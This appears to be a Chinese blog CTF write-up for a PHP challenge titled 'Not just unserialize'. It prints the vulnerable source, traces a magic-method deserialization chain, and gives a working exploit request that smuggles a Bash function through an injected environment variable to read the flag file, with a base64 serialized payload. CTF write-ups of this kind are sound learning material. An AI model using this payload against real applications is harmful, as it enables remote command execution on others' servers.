nnonkey k1n9的博客

当你为错过太阳而哭泣时,你也要再错过群星了——泰戈尔​

Not just unserialize

Not just unserialize 环境变量注入

题目描述:RUN ln -sf /bin/bash /bin/sh
这条Docker命令 RUN ln -sf /bin/bash /bin/sh 在构建Docker镜像时执行,用于在Linux环境下创建或更新一个符号链接,即它会将 /bin/sh 指向 /bin/bash。

RUN: Dockerfile中的指令,用于在镜像构建过程中执行命令。
ln: Linux命令,用于创建链接,包括硬链接和符号链接。
-sf:
-s: 指定创建的是符号链接,而不是硬链接。符号链接类似于Windows中的快捷方式,指向另一个文件。
-f: 强制执行。如果目标文件(在这个例子中是 /bin/sh)已存在,它将被无提示删除并重新创建链接。这确保了即使 /bin/sh 已存在,链接也会被更新为指向 /bin/bash。
/bin/bash: 这是链接的目标,即当你访问或执行 /bin/sh 时,实际上是访问或执行的文件。
/bin/sh: 这是要创建或更新的符号链接的路径。
在许多Linux发行版中,/bin/sh 默认可能指向不同的Shell,如dash或其他轻量级Shell。

这个命令确保在Docker镜像中,当任何过程或脚本尝试通过/bin/sh执行Shell脚本时,实际使用的是Bash Shell,而不是系统默认的Shell。
题目的源码

<?php

highlight_file(__FILE__);
class start
{
    public $welcome;
    public $you;
    public function __destruct()
    {
        $this->begin0fweb();
    }
    public  function begin0fweb()
    {
        $p='hacker!';
        $this->welcome->you = $p;
    }
}

class SE{
    public $year;
    public function __set($name, $value){
        echo '  Welcome to new year!  ';
        echo($this->year);
    }
}

class CR {
    public $last;
    public $newyear;

    public function __tostring() {

        if (is_array($this->newyear)) {
            echo 'nonono';
            return false;
        }
        if (!preg_match('/worries/i',$this->newyear))
        {
            echo "empty it!";
            return 0;
        }

        if(preg_match('/^.*(worries).*$/',$this->newyear)) {
            echo 'Don\'t be worry';
        } else {
            echo 'Worries doesn\'t exists in the new year  ';
            empty($this->last->worries);
        }
        return false;
    }
}

class ET{

    public function __isset($name)
    {
        foreach ($_GET['get'] as $inject => $rce){
            putenv("{$inject}={$rce}");
        }
        system("echo \"Haven't you get the secret?\"");
    }
}
if(isset($_REQUEST['go'])){
    unserialize(base64_decode($_REQUEST['go']));
}
?>

首先链子还是很简单的//start::__destruct()->start::begin0fweb()->SE::__set()->CR::__tostring()->ET::__isset()
主要是在empty这里,它可以触发__isset
本题还有一个知识点,那就是环境变量注入,因为后面是echo
所以我们这里这样传参,

?get[BASH_FUNC_echo%25%25]=() { tac /ffffllllllaaaaaaaaaaaaaaaaaaggggg; }; go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo4OiIKd29ycmllcyI7fX1zOjM6InlvdSI7Tjt9

注意这里的编码问题

本原创文章未经允许不得转载 | 当前页面:nnonkey k1n9的博客 » Not just unserialize

评论